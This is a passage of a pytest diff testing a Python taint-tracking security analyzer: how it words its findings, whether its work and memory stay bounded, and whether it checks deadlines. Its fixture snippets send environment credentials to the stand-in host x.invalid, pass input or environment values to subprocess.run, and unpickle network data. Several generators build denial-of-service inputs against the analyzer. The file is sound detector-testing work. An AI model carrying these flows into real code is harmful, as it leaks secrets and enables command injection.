id="write_bytes_after_helper_credential", + ), + pytest.param( + 'import os, shutil\ndata = input() + os.getenv("K")\nshutil.copy(data, "dst")\n', + "Tainted flow: 'data' from input (line 2, user input) → shutil.copy (file write)", + id="file_write_input_and_credential", + ), + pytest.param( + "import pickle, requests\n" + 'x = open("f", "rb").read()\n' + 'x = requests.get("https://x.invalid").content\n' + "pickle.loads(x)\n", + "Tainted flow: 'x' from open (line 2, file read) → pickle.loads (deserialization)", + id="deserialization_file_then_network", + ), + pytest.param( + "import os, requests\n" + 'token = os.environ.get("API_TOKEN") or os.getenv("LEGACY_TOKEN")\n' + 'requests.post("https://x.invalid", data=token)\n', + "Tainted flow: 'token' from os.environ.get (line 2, credential/environment) " + "→ requests.post (network output)", + id="two_credentials", + ), + ], + ) + def test_a_same_rule_finding_keeps_mains_message(self, code: str, message: str) -> None: + """A more severe source replaces the cited one only when it changes the + rule; otherwise the message names the first source to arrive, as + ``main`` does, so exact baselines and message globs keep matching.""" + (finding,) = _run(code) + assert finding.message == message + + @pytest.mark.parametrize( + ("code", "messages"), + [ + pytest.param( + "import json, os, requests\n" + 'config = json.load(open(os.getenv("APP_CONFIG", "config.json")))\n' + 'requests.post(config["webhook_url"], json={"status": "ok"})\n', + [ + "TT4 Tainted flow: 'config' from open (line 2, file read) " + "→ requests.post (network output)" + ], + id="config_path_from_env", + ), + pytest.param( + "import os, requests\n" + 'path = os.getenv("APP_CONFIG")\n' + "data = open(path).read()\n" + 'requests.post("https://x.invalid", data=data)\n', + [ + "TT4 Tainted flow: 'data' from open (line 3, file read) " + "→ requests.post (network output)" + ], + id="path_variable_from_env", + ), + pytest.param( + "import os, requests\n" + 'token = os.getenv("TOKEN")\n' + 'meta = requests.get("https://x.invalid/a", headers={"A": token}).json()\n' + 'requests.get(meta["url"])\n', + [ + "TT2 Tainted flow: 'meta' from requests.get (line 3, network input) " + "→ requests.get (network output)", + "TT3 Tainted flow: 'token' from os.getenv (line 2, credential/environment) " + "→ requests.get (network output)", + ], + id="authenticated_get", + ), + ], + ) + def test_a_source_calls_value_is_what_it_reads(self, code: str, messages: list[str]) -> None: + """A source call's arguments do not flow into its value: a file opened + at an environment path holds file contents, as ``main`` reports.""" + assert sorted(f"{f.rule_id} {f.message}" for f in _run(code)) == messages + + def test_main_tainted_variables_are_cited_before_bound_parameters(self) -> None: + """A parameter bound from a call site and read earlier at the sink + does not take over ``main``'s message for the same rule.""" + for code, message in ( + ( + _code( + """ + import os, requests + def send(url): + token = os.getenv("TOKEN") + requests.post(url, data=token) + send(os.getenv("BASE_URL")) + """ + ), + "Tainted flow: 'token' from os.getenv (line 3, credential/environment) " + "→ requests.post (network output)", + ), + ( + _code( + """ + import os, subprocess + def run(binary, *args): + extra = os.getenv("EXTRA_FLAGS") + subprocess.run([binary, extra, *args]) + run(os.getenv("TOOL")) + """ + ), + "Tainted flow: 'extra' from os.getenv (line 3, credential/environment) " + "→ subprocess.run (code execution)", + ), + ): + (finding,) = _run(code) + assert finding.message == message + + def test_a_rule_upgrade_cites_the_first_of_the_most_severe_sources(self) -> None: + code = ( + "import os, sys, subprocess\n" + 'cmd = os.getenv("A") + (input() + sys.stdin.read())\n' + "subprocess.run(cmd)\n" + ) + (finding,) = _run(code) + assert finding.message == ( + "Tainted flow: 'cmd' from input (line 2, user input) → subprocess.run (code execution)" + ) + + def test_parameters_cite_the_first_source_to_arrive(self) -> None: + """Through call-site arguments too, the first source to arrive is cited + whenever a later one gives the same rule.""" + two_callers = _code( + """ + import os, requests + def send(value): + requests.post("https://x.invalid", data=value) + send(os.getenv("A")) # FIRST + send(os.environ.get("B")) + """ + ) + (finding,) = _run(two_callers) + assert f"'value' from os.getenv (line {_line(two_callers, '# FIRST')}," in finding.message + through_helper = _code( + """ + import os, subprocess + def run(command): + subprocess.run(command) + cmd = os.getenv("A") + open("f").read() + run(cmd) # CALL + """ + ) + (finding,) = _run(through_helper) + assert finding.message == ( + f"Tainted flow: 'command' from os.getenv (line {_line(through_helper, '# CALL')}, " + "credential/environment) → subprocess.run (code execution)" + ) + global_then_parameter = _code( + """ + import os, requests + TOKEN = os.getenv("A") + def send(value): + body = TOKEN # GLOBAL + body = value + requests.post("https://x.invalid", data=body) + send(os.environ.get("B")) + """ + ) + (finding,) = _run(global_then_parameter) + assert ( + f"'body' from os.getenv (line {_line(global_then_parameter, '# GLOBAL')}," + in finding.message + ) + # A value that does not depend on the parameters is preferred over an + # equally severe one bound from a call site, whichever arrives first. + state_and_parameter = _code( + """ + import os, requests + def token(): + return os.getenv("A") + def wrapped(): + return token() + def outer(): + return wrapped() + def send(value): + body = value + body = outer() # STATE + requests.post("https://x.invalid", data=body) + send(os.environ.get("B")) + """ + ) + (finding,) = _run(state_and_parameter) + assert ( + f"'body' from os.getenv (line {_line(state_and_parameter, '# STATE')}," + in finding.message + ) + + +# ── Resource bounds ───────────────────────────────────────────────────── + + +def _analyzer_code_objects() -> list: + """Every code object defined in the taint module (functions, methods, nested).""" + found: dict[int, object] = {} + pending: list = [] + for value in vars(behavioral_taint_tracking).values(): + if getattr(value, "__module__", None) != behavioral_taint_tracking.__name__: + continue + if isinstance(value, type): + for attribute in vars(value).values(): + function = getattr(attribute, "__func__", attribute) + if hasattr(function, "__code__"): + pending.append(function.__code__) + elif isinstance(attribute, property) and attribute.fget is not None: + pending.append(attribute.fget.__code__) + elif hasattr(value, "__code__"): + pending.append(value.__code__) + while pending: + code = pending.pop() + if id(code) in found: + continue + found[id(code)] = code + pending.extend(const for const in code.co_consts if hasattr(const, "co_code")) + return list(found.values()) + + +def _operations(code: str) -> int: + """Lines and loop iterations of the taint analyzer executed on *code*. + + A deterministic work count: unlike wall-clock time it does not depend on + machine load, and unlike ``check_runtime`` calls it also counts loops that + never check the deadline. Jumps and branches are counted as well as lines, + so the iterations of a one-line comprehension or generator count too. + """ + monitoring = sys.monitoring + tool = next(candidate for candidate in (3, 4) if monitoring.get_tool(candidate) is None) + count = [0] + events = (monitoring.events.LINE, monitoring.events.JUMP, monitoring.events.BRANCH) + + def on_event(*_args: object) -> None: + count[0] += 1 + + monitoring.use_tool_id(tool, "taint-operation-count") + codes = _analyzer_code_objects() + try: + for event in events: + monitoring.register_callback(tool, event, on_event) + for code_object in codes: + monitoring.set_local_events(tool, code_object, sum(events)) + _run(code) + finally: + for code_object in codes: + monitoring.set_local_events(tool, code_object, 0) + for event in events: + monitoring.register_callback(tool, event, None) + monitoring.free_tool_id(tool) + return count[0] + + +_ALL_SOURCES = ( + "os.getenv('a') + os.environ.get('a') + open('f').read() + requests.get('u') " + "+ httpx.post('u') + urllib.request.urlopen('u') + input() + sys.stdin.read()" +) + + +def _class_redefinitions(n: int) -> str: + return "class C:0\n" * n + "C()\n" * n + + +def _typed_redefinitions(n: int) -> str: + return "class C:\n def m(self, x): return x\n" * n + "c = C()\n" + "c.m(1)\n" * n + + +def _nested_constructor_calls(n: int) -> str: + line = "C(" * 40 + "1" + ")" * 40 + "\n" + return "class C:pass\n" * n + "def C(*a):pass\n" + line * (n // 4) + + +def _keyword_fanout(n: int) -> str: + return "def f(**kw):\n pass\nf(" + "".join(f"k{i}=x," for i in range(n)) + ")\n" + + +def _keyword_parameters(n: int) -> str: + params = ",".join(f"p{i}" for i in range(n)) + return f"def f({params}):\n pass\nf(" + "".join(f"p{i}=x," for i in range(n)) + ")\n" + + +def _self_attributes(n: int) -> str: + body = "".join(f" self.a{i} = y\n z = self.a{i}\n" for i in range(n)) + return f"class C:\n def m(self, y):\n{body}" + + +def _nested_closures(n: int) -> str: + lines = [" " * d + f"def f{d}(p{d}):" for d in range(40)] + lines += [" " * 40 + f"v{i} = w + p0" for i in range(n)] + return "\n".join(lines) + "\n" + + +def _callback_arguments(n: int) -> str: + return ( + "import threading\n" + "def f(*a, **kw):\n pass\n" + "threading.Thread(target=f, args=(" + "x," * n + "))\n" + "ex.submit(f, " + "x," * n + ")\n" + "threading.Thread(target=f, kwargs={" + "".join(f"'k{i}': x," for i in range(n)) + "})\n" + ) + + +def _lambda_callee(n: int) -> str: + return ( + "f = lambda *a, **k: a\nf(" + + "x," * n + + ")\nf(" + + "".join(f"k{i}=x," for i in range(n)) + + ")\n" + ) + + +def _same_named_methods(n: int) -> str: + classes = "".join(f"class K{i}:\n def m(self, **kw):\n return kw\n" for i in range(n)) + return classes + "def run(o, x):\n" + "".join(f" o.m(k{i}=x)\n" for i in range(n)) + + +def _nested_class_constructors(n: int) -> str: + block = "class Outer:\n class C:\n def __init__(self, a): pass\n x = C(1)\n" + return block * n + + +def _nested_class_methods(n: int) -> str: + block = "class Outer:\n class C:\n def m(self, a): pass\n c = C()\n c.m(1)\n" + return block * n + + +def _hierarchy_constructors(n: int) -> str: + return "class B:\n pass\n" + "".join( + f"class D{i}(B):\n class C:\n def __init__(self, a): pass\n x = C(1)\n" for i in range(n) + ) + + +def _variable_of_many_classes(n: int) -> str: + classes = "".join(f"class K{i}:\n def m(self, x): return x\n" for i in range(n)) + return classes + "".join(f"c = K{i}()\n" for i in range(n)) + "c.m(1)\n" * n + + +def _attribute_of_many_classes(n: int) -> str: + classes = "".join(f"class K{i}:\n def m(self, x): return x\n" for i in range(n)) + init = "class H:\n def __init__(self):\n" + "".join(f" self.x = K{i}()\n" for i in range(n)) + return classes + init + " def go(self, v):\n" + " self.x.m(v)\n" * n + + +def _function_redefinitions(n: int) -> str: + return "def f(x): return x\n" * n + "f(1)\n" * n + + +def _global_class_redefinitions(n: int) -> str: + defs = "".join( + f"def f{i}():\n global C\n class C:\n def __init__(self, a): pass\n" for i in range(n) + ) + return defs + "C(1)\n" * n + + +def _attribute_callback_candidates(n: int) -> str: + return ( + "".join(f"class C{i}:0\n" for i in range(n)) + + "class H:\n def s(self):\n" + + "".join(f" self.v=C{i}()\n" for i in range(n)) + + " def r(self):\n print(" + + "self.v.m," * n + + ")\n" + ) + + +def _multi_class_loads(n: int) -> str: + return ( + "".join(f"class C{i}:0\n" for i in range(n)) + + "".join(f"x=C{i}()\n" for i in range(n)) + + "y=x.a\n" * n + ) + + +def _every_source_in_many_locals(n: int) -> str: + body = "=".join(f"v{i}" for i in range(50)) + "=p\n" + return f"import os, sys, requests, httpx, urllib.request\ns = {_ALL_SOURCES}\n" + "".join( + f"def f{i}(p):\n p=s\n {body}f{i}(s)\n" for i in range(n) + ) + + +def _wide_assignment_in_nested_functions(n: int) -> str: + depth = max(2, min(n // 10, 90)) # nesting and width grow together + lines = ["import os, sys, requests, httpx, urllib.request\n", f"s = {_ALL_SOURCES}\n"] + lines += [" " * i + f"def f{i}(a{i}):\n" for i in range(depth)] + lines.append(" " * depth + "x=" * n + "+".join(f"a{i}" for i in range(depth)) + "\n") + lines += [" " * i + f"f{i}(a{i - 1})\n" for i in range(depth - 1, 0, -1)] + lines.append("f0(s)\n") + return "".join(lines) + + +def _nested_callback_arguments(n: int) -> str: + return "def f(*a):0\n" + ("print(f," * n + "0" + ")" * n + "\n") * 20 + + +def _nested_in_file_calls(n: int) -> str: + return "def f(a):\n return a\nx = input()\n" + ("f(" * n + "x" + ")" * n + "\n") * 20 + + +def _wide_inheritance(n: int) -> str: + out = [] + for c in range(n): + out.append(f"def g{c}():\n") + for i in range(16): + bases = ",".join(f"K{j}" for j in range(i - 1, -1, -1)) + head = f" class K{i}({bases}):\n" if bases else f" class K{i}:\n" + out.append(head + f" def m{i}(self, a):\n self.m0(a)\n return self.v{i % 4}\n") + return "".join(out) + + +def _deep_inheritance(n: int) -> str: + """One inheritance chain whose depth grows with the file: the base lookup + must stay bounded (``_MAX_ANCESTORS``), not walk the whole chain.""" + out = ["class K0:\n def m0(self, a):\n return a\n"] + for i in range(1, 16 * n): + out.append(f"class K{i}(K{i - 1}):\n def m{i}(self, a):\n self.m0(a)\n return self.v\n") + return "".join(out) + + +def _deep_scopes(n: int) -> str: + """Nesting depth and the number of names grow together.""" + names = ",".join(f"n{i}" for i in range(50 * n)) + return "z = " + "lambda: " * n + "[" + names + "]\n" + + +def _chained_lambda(n: int) -> str: + """One lambda with n parameters bound to n names, each called.""" + names = "=".join(f"a{i}" for i in range(n)) + params = ",".join(f"p{i}" for i in range(n)) + return f"q = {{}}\n{names} = lambda {params}: 0\n" + "".join(f"a{i}(**q)\n" for i in range(n)) + + +def _nested_lambda_defaults(n: int, wrap: str = "{}") -> str: + """Lambdas nested n deep through their defaults (inside *wrap* each level).""" + expression = "0" + for _ in range(n): + expression = f"lambda a={wrap.format(expression)}: 0" + return "y = g = print\n" + "".join(f"x{i} = {expression}\n" for i in range(4)) + + +def _nested_lambda_defaults_in_calls(n: int) -> str: + return _nested_lambda_defaults(n, "print({})") + + +def _nested_lambda_defaults_in_conditionals(n: int) -> str: + return _nested_lambda_defaults(n, "y if y else {}") + + +def _many_bases(n: int) -> str: + """One class listing n in-file bases, its methods called through self.""" + bases = "".join(f"class B{i}:\n def m{i}(self, a):\n return a\n" for i in range(n)) + names = ", ".join(f"B{i}" for i in range(n)) + calls = "".join(f" self.m{i}(1)\n" for i in range(n)) + return bases + f"class D({names}):\n def go(self):\n{calls}" + + +def _forwarded_unpacking(n: int) -> str: + """Bound calls forwarding ``*args`` / ``**kwargs`` into wide signatures.""" + params = ", ".join(f"p{i}" for i in range(n)) + return ( + f"class B:\n def __init__(self, {params}, *a, **k):\n pass\n" + "class C(B):\n def __init__(self, *a, **k):\n" + + "".join(f" super().__init__(*a, x{i}=1, **k)\n" for i in range(n)) + ) + + +def _forwarded_keywords(n: int) -> str: + """Forwarded ``**kwargs`` whose callers pass many names: a forwarding + binds nothing, however many names its callers pass.""" + params = ",".join(f"p{i}=0" for i in range(n)) + return ( + f"class B:\n def __init__(self, {params}):\n pass\n" + "class C(B):\n def __init__(self, **k):\n" + + " super().__init__(**k)\n" * n + + "".join(f"C(p{i}=1)\n" for i in range(n)) + ) + + +# Every denial-of-service repro from the reviews of this change, scaled +# down. Each must cost work linear in its size, so quadrupling the size may +# at most about quadruple the analyzer's executed lines (a quadratic path +# grows 16x). +_DOS_SHAPES = { + "same_named_classes": (_class_redefinitions, 100), + "same_named_classes_typed": (_typed_redefinitions, 60), + "nested_constructor_calls": (_nested_constructor_calls, 80), + "keyword_fanout": (_keyword_fanout, 200), + "keyword_parameters": (_keyword_parameters, 150), + "self_attributes": (_self_attributes, 100), + "nested_closures": (_nested_closures, 100), + "callback_arguments": (_callback_arguments, 150), + "lambda_callee": (_lambda_callee, 150), + "same_named_methods": (_same_named_methods, 60), + "nested_class_constructors": (_nested_class_constructors, 60), + "nested_class_methods": (_nested_class_methods, 60), + "hierarchy_constructors": (_hierarchy_constructors, 60), + "variable_of_many_classes": (_variable_of_many_classes, 60), + "attribute_of_many_classes": (_attribute_of_many_classes, 60), + "function_redefinitions": (_function_redefinitions, 100), + "global_class_redefinitions": (_global_class_redefinitions, 60), + "attribute_callback_candidates": (_attribute_callback_candidates, 60), + "multi_class_loads": (_multi_class_loads, 80), + "every_source_in_many_locals": (_every_source_in_many_locals, 10), + "wide_assignment_in_nested_functions": (_wide_assignment_in_nested_functions, 200), + "nested_callback_arguments": (_nested_callback_arguments, 15), + "nested_in_file_calls": (_nested_in_file_calls, 15), + "wide_inheritance": (_wide_inheritance, 3), + "deep_inheritance": (_deep_inheritance, 3), + "deep_scopes": (_deep_scopes, 20), + "chained_lambda": (_chained_lambda, 150), + "nested_lambda_defaults": (_nested_lambda_defaults, 40), + "nested_lambda_defaults_in_calls": (_nested_lambda_defaults_in_calls, 40), + "nested_lambda_defaults_in_conditionals": (_nested_lambda_defaults_in_conditionals, 40), + "many_bases": (_many_bases, 100), + "forwarded_unpacking": (_forwarded_unpacking, 100), + "forwarded_keywords": (_forwarded_keywords, 100), +} + + +@pytest.mark.skipif(sys.version_info < (3, 12), reason="sys.monitoring needs Python 3.12") +class TestResourceScaling: + """Work grows linearly with file size on every adversarial shape.""" + + @pytest.mark.parametrize("shape", sorted(_DOS_SHAPES)) + def test_work_is_linear(self, shape: str) -> None: + generate, size = _DOS_SHAPES[shape] + small = _operations(generate(size)) + large = _operations(generate(4 * size)) + assert large <= 5 * small, (shape, small, large) + + def test_forwarded_kwargs_cost_no_more_than_a_mapping(self) -> None: + """A forwarded ``**k`` into a callee with many definitions and + parameters binds nothing, so it costs no more than an opaque mapping, + not one target per keyword name its callers pass (an earlier fan-out + was ~16x).""" + names = [f"b{i}" for i in range(16)] + params = ",".join(f"{name}=0" for name in names) + callee = ( + "class f:\n" + f" def __init__(self,{params}):pass\n def __init__(self,**w):pass\n" + f" @classmethod\n def __init__(c,{params}):pass\n" + f" @staticmethod\n def __init__({params}):pass\n" + f" def __new__(c,{params}):pass\n" + f"def f({params}):pass\ndef f(**w):pass\n" + ) + passed = ",".join( + f"{name}=os.environ['T']" if name == "b0" else f"{name}=1" for name in names + ) + forwarded = "import os\n" + callee + "def g(**k):\n f(" + "**k," * 300 + ")\n" + forwarded += f"g({passed})\n" + opened = forwarded + "m = {}\ng(**m)\n" + assert _operations(forwarded) <= 2 * _operations(opened) + assert _operations(forwarded) <= 2 * _operations(forwarded.replace("**k,", "**m,")) + + +class TestAdversarialInputs: + """Memory, output size and deadlines on adversarial inputs.""" + + def test_memory_does_not_grow_with_identifier_length(self) -> None: + """No key or message copies an identifier per reference. + + Taint keys built as ``qualname + name`` copied a long function, class or + method name into every local, attribute and argument slot; messages + built from the first spelling of an attribute copied a long receiver + name into every sink. Memory then grew as name length times references. + """ + + def module(length: int) -> str: + function, cls, method, receiver = "f" * length, "C" * length, "m" * length, "r" * length + lines = [ + "import os, requests", + f"def {function}(*args, **kwargs):", + " return args", + f"{function}(" + "x, " * 2000 + "y=x)", + f"def {function}_locals():", + *(f" v{i} = os.getenv('K')" for i in range(1000)), + f"class {cls}:", + f" def {method}(self, y):", + " self.a1 = os.getenv('K')", + *(f" self.a{i} = y" for i in range(1000)), + " def send(self):", + *(" requests.post('u', data=self.a1)" for _ in range(1000)), + f"{receiver} = {cls}()", + f"{receiver}.a1 = os.getenv('K')", + f"z = {receiver}.a1", + ] + return "\n".join(lines) + "\n" + + def analysis_peak(code: str) -> int: + """Peak memory of the analysis alone, after the source is parsed.""" + parsed = get_python_ast(None, code, "t.py") + tracemalloc.start() + try: + findings = behavioral_taint_tracking._analyze_python(parsed, "t.py") + assert len(findings) == 1000 + return tracemalloc.get_traced_memory()[1] + finally: + tracemalloc.stop() + + short = analysis_peak(module(8)) + long = analysis_peak(module(4000)) + # One copy per distinct local would already cost ~4000 bytes x 1000 (4 MB). + assert long - short < 2**20 + + def test_message_bytes_do_not_grow_with_identifier_length(self) -> None: + """Messages name what the sink spells, never a long spelling from elsewhere. + + An attribute read named after its first load site copied a 150,000-char + receiver into each of 10,000 findings (1.4 GB of messages for an 850 KB + file). Messages are built from the sink's own nodes, and identifiers + longer than ``_MAX_NAME_CHARS`` are shortened. + """ + receiver = "R" * 20_000 + sinks = 2_000 + far_spelling = ( + "import os, requests\n" + f"{receiver} = C()\n{receiver}.a = os.getenv('K')\nz = {receiver}.a\n" + "class C:\n def __init__(self):\n self.a = os.getenv('K')\n" + " def m(self):\n" + " requests.post('u', data=self.a)\n" * sinks + ) + variable = "v" * 5_000 + nested = "requests.post('u', data=" * 30 + variable + ")" * 30 + long_at_the_sink = ( + f"import os, requests\n{variable} = os.getenv('K')\n" + (nested + "\n") * 30 + ) + for code, count in ((far_spelling, sinks), (long_at_the_sink, 30 * 30)): + findings = _run(code) + tainted = [f for f in findings if f.message.startswith("Tainted flow")] + assert len(tainted) == count + assert sum(len(f.message) for f in findings) <= 200 * len(findings) + + @pytest.mark.parametrize( + ("setup", "read"), + [ + pytest.param( + "class C:\n def m(self):\n self.{long} = os.getenv('K')\n" + " def send(self):\n", + "self.{long}", + id="self_attribute", + ), + pytest.param( + "class C:\n def m({long}):\n {long}.a = os.getenv('K')\n", + "{long}.a", + id="receiver_attribute", + ), + pytest.param( + "def {long}():\n return os.getenv('K')\ndef send():\n", + "{long}()", + id="call", + ), + pytest.param( + "class C:\n def t(self):\n return os.getenv('K')\n def m({long}):\n", + "{long}.t()", + id="method_call", + ), + pytest.param( + "class {long}:\n def t(self):\n return os.getenv('K')\ndef send():\n", + "{long}().t()", + id="constructed_call", + ), + ], + ) + def test_every_sink_spelling_is_shortened(self, setup: str, read: str) -> None: + """Attribute, call and method-call spellings at a sink are capped too.""" + long = "q" * 1_000 + sinks = 20 + header = setup.format(long=long) + indent = " " * (len(header.splitlines()[-1]) - len(header.splitlines()[-1].lstrip()) + 4) + if not header.rstrip().endswith(":"): + indent = " " * 8 + sink = f"{indent}requests.post('u', data={read.format(long=long)})\n" + findings = _run("import os, requests\n" + header + sink * sinks) + assert len(findings) == sinks + cap = behavioral_taint_tracking._MAX_NAME_CHARS + spelled = read.format(long=long).split(long)[0] + for finding in findings: + name = finding.message.split("'")[1] + assert len(name) <= cap and name.endswith("...") + assert name.startswith(spelled + "q") + + def test_super_calls_are_spelled_as_written(self) -> None: + code = _code( + """ + import os, requests + class Base: + def tok(self): + return os.getenv("TOKEN") # RETURN + class Child(Base): + def send(self): + requests.post("https://x.invalid", data=super().tok()) + """ + ) + (finding,) = _run(code) + assert finding.message == ( + f"Tainted flow: 'super().tok()' from os.getenv (line {_line(code, '# RETURN')}, " + "credential/environment) → requests.post (network output)" + ) + + def test_identifiers_up_to_the_cap_are_reported_in_full(self) -> None: + cap = behavioral_taint_tracking._MAX_NAME_CHARS + for length, spelled in ((cap, "t" * cap), (cap + 1, "t" * (cap - 3) + "...")): + name = "t" * length + code = ( + f"import os, requests\n{name} = os.getenv('K')\nrequests.post('u', data={name})\n" + ) + (finding,) = _run(code) + assert finding.message.startswith(f"Tainted flow: '{spelled}' from os.getenv (line 2,") + + def test_one_fact_per_key_whatever_the_number_of_sources(self) -> None: + """Per-source fact sets multiplied memory; a key keeps one source.""" + + def facts(code: str) -> int: + parsed = get_python_ast(None, code, "t.py") + index = behavioral_taint_tracking._build_scope_index(parsed.tree) + graph = behavioral_taint_tracking._TaintGraph(index, {}, parsed.import_aliases) + graph.run() + return sum(len(lane) for slot in graph.facts for lane in slot) + + many = _every_source_in_many_locals(5) + one = many.replace(_ALL_SOURCES, "os.getenv('a')") + # One fact per key and sink lane, however many sources reach the key. + assert facts(many) == facts(one) + + def test_each_flow_fires_at_most_once_per_rank(self, monkeypatch) -> None: + """Nested functions forwarding a parameter do not re-fire a wide assignment.""" + calls = {"n": 0} + original = behavioral_taint_tracking._mark_targets + + def counting_mark_targets(*args, **kwargs): + calls["n"] += 1 + return original(*args, **kwargs) + + code = _wide_assignment_in_nested_functions(2000) + parsed = get_python_ast(None, code, "t.py") + index = behavioral_taint_tracking._build_scope_index(parsed.tree) + graph = behavioral_taint_tracking._TaintGraph(index, {}, parsed.import_aliases) + graph.build() + flows = len(graph.flows) + len(graph.seeds) + monkeypatch.setattr(behavioral_taint_tracking, "_mark_targets", counting_mark_targets) + _run(code) + # Each flow fires at most once per (lane, source rank, bound or not): + # fourteen times (three ranks in lanes 0 and 1, one in lane 2, two + # slots), however many sources the forwarded value carries and however + # deep it goes. + assert calls["n"] <= 14 * flows + + def test_redefinitions_merge_into_one_class_and_one_callee(self) -> None: + parsed = get_python_ast(None, _typed_redefinitions(500), "t.py") + index = behavioral_taint_tracking._build_scope_index(parsed.tree) + (cls,) = index.classes + (group,) = cls.methods["m"].values() + assert len(group.functions) == 500 + + @staticmethod + def _raised_in(code: str, cap: int, stage) -> list[str]: + """Run *stage* with a deadline that expires after *cap* checks; return the stack.""" + parsed = get_python_ast(None, code, "t.py") + with pytest.raises(_RuntimeBudgetError) as raised: + stage(parsed, _capped_check_runtime(cap)) + return [frame.name for frame in __import__("traceback").extract_tb(raised.tb)] + + def test_deadline_is_checked_while_indexing(self) -> None: + def index(parsed, check): + behavioral_taint_tracking._build_scope_index(parsed.tree, check) + + stack = self._raised_in("x + 1\n" * 20000, 5000, index) + assert "_build_scope_index" in stack + # Name resolution alone also checks the deadline. + names = "z = [" + ",".join(f"n{i}" for i in range(20000)) + "]\n" + stack = self._raised_in(names, 25000, index) + assert "_resolve_names" in stack + + def test_deadline_is_checked_per_statement(self) -> None: + """Calls that bind nothing still pass a deadline check each.""" + parsed = get_python_ast(None, "class C:\n pass\n" + "C()\n" * 20000, "t.py") + index = behavioral_taint_tracking._build_scope_index(parsed.tree) + graph = behavioral_taint_tracking._TaintGraph( + index, {}, parsed.import_aliases, _capped_check_runtime(5000) + ) + with pytest.raises(_RuntimeBudgetError): + graph.build() + + def test_deadline_is_checked_while_linking_callees(self) -> None: + """Binding call-site slots into each callee's parameters checks the deadline.""" + functions = "".join(f"def f{i}(a, b, *c, d=1, **e):\n return a\n" for i in range(3000)) + calls = "".join(f"f{i}(1, 2, 3, d=4, e=5)\n" for i in range(3000)) + parsed = get_python_ast(None, functions + calls, "t.py") + index = behavioral_taint_tracking._build_scope_index(parsed.tree) + graph = behavioral_taint_tracking._TaintGraph(index, {}, parsed.import_aliases) + for node, scope in index.statements: + if isinstance(node, behavioral_taint_tracking.ast.Call): + graph.call(node, scope) + graph.tick = _capped_check_runtime(1000) + with pytest.raises(_RuntimeBudgetError): + graph.link_callees() + + def test_deadline_is_checked_while_propagating(self) -> None: + depth = 20000 + code = ( + "import os\n" + + "".join(f"a{i} = a{i - 1}\n" for i in range(depth, 0, -1)) + + 'a0 = os.getenv("K")\n' + ) + parsed = get_python_ast(None, code, "t.py") + index = behavioral_taint_tracking._build_scope_index(parsed.tree) + graph = behavioral_taint_tracking._TaintGraph(index, {}, parsed.import_aliases) + graph.build() + graph.tick = _capped_check_runtime(depth // 2) + with pytest.raises(_RuntimeBudgetError): + graph.propagate() + + @pytest.mark.parametrize( + ("stage", "code", "limit"), + [ + pytest.param( + "_resolve_names", + "x = (" + "lambda: 0, " * 3000 + ")\n", + 1000, + id="resolve_per_scope", + ), + pytest.param( + # One check per scope and one per definition: 6,001 in all. + "_resolve_names", + "def f():\n pass\n" * 3000, + 4500, + id="resolve_per_definition", + ), + pytest.param( + "_index_definitions", "class C:\n pass\n" * 3000, 1000, id="index_classes" + ), + pytest.param( + "_index_definitions", + "class D(" + ",".join(f"b{i}" for i in range(3000)) + "):\n pass\n", + 1000, + id="index_bases", + ), + pytest.param( + "_index_definitions", + "".join(f"def f{i}():\n pass\n" for i in range(3000)), + 1000, + id="index_functions", + ), + pytest.param( + "_index_definitions", + "=".join(f"a{i}" for i in range(3000)) + " = lambda: 0\n", + 1000, + id="index_lambda_bindings", + ), + pytest.param( + "ancestors", + "class K0:\n pass\n" + + "".join(f"class K{i}(K{i - 1}):\n pass\n" for i in range(1, 3000)) + + "class Leaf(K2999):\n def go(self):\n self.m()\n", + 1000, + id="ancestors", + ), + pytest.param( + "scan", "x = [" + ",".join(f"n{i}" for i in range(3000)) + "]\n", 1000, id="scan" + ), + pytest.param( + # ``_mark_targets`` checks once per 1024 targets. + "_mark_targets", + "import os\n" + ",".join(f"t{i}" for i in range(40 * 1024)) + " = os.getenv('K')\n", + 20, + id="mark_targets", + ), + pytest.param( + "defaults", + "def f(" + ",".join(f"a{i}=0" for i in range(3000)) + "):\n pass\n", + 1000, + id="defaults", + ), + pytest.param( + "link_attributes", + "class C:\n def m(self):\n" + " x = self.a\n" * 3000, + 1000, + id="link_attribute_nodes", + ), + pytest.param( + # One check per attribute and one per distinct ``self.x``: 6,000. + "link_attributes", + "class C:\n def m(self):\n" + + "".join(f" x = self.a{i}\n" for i in range(3000)), + 4500, + id="link_attribute_views", + ), + pytest.param( + # One check per class-body read and one per statement: 6,000. + "build", + "class C:\n" + "".join(f" x{i} = x{i}\n" for i in range(3000)), + 4500, + id="build_class_reads", + ), + pytest.param( + "build", + "".join(f"def f{i}(a=0):\n pass\n" for i in range(3000)), + 1000, + id="build_functions", + ), + pytest.param( + # One key read by 30,720 flows into one target: few pops. + "drain", + "import os\nx = os.getenv('K')\n" + "t = x\n" * (30 * 1024), + 20, + id="drain_flows_of_one_key", + ), + pytest.param( + "bind_arguments", + "def f(*a):\n pass\nf(" + "x, " * 3000 + ")\n", + 1000, + id="bind_positional_arguments", + ), + pytest.param( + "bind_arguments", + "def f(**k):\n pass\nf(" + "".join(f"k{i}=x, " for i in range(3000)) + ")\n", + 1000, + id="bind_keywords", + ), + pytest.param( + "propagate", + "import os\n" + + "".join(f"def f{i}():\n return os.getenv('K')\n" for i in range(3000)), + 1000, + id="propagate_seeds", + ), + pytest.param( + "_find_tainted_names_in_args", + "import requests\nrequests.post('u', data=[" + + ",".join("x" for _ in range(3000)) + + "])\n", + 1000, + id="sink_arguments", + ), + ], + ) + def test_deadline_is_checked_inside_each_stage(self, stage: str, code: str, limit: int) -> None: + """Each stage checks the deadline in its own loops, not only between stages. + + The deadline here counts only the checks made by *stage* itself, and + each input makes one of its loops do most of the work, so the test + fails if that loop's check is removed. + """ + calls = {"n": 0} + + def check_runtime() -> None: + if sys._getframe(1).f_code.co_name == stage: + calls["n"] += 1 + if calls["n"] > limit: + raise _RuntimeBudgetError(stage) + + budget = types.SimpleNamespace( + check_runtime=check_runtime, emit=lambda finding: None, current_findings=[] + ) + parsed = get_python_ast(None, code, "t.py") + with pytest.raises(_RuntimeBudgetError, match=stage): + behavioral_taint_tracking._analyze_python(parsed, "t.py", budget)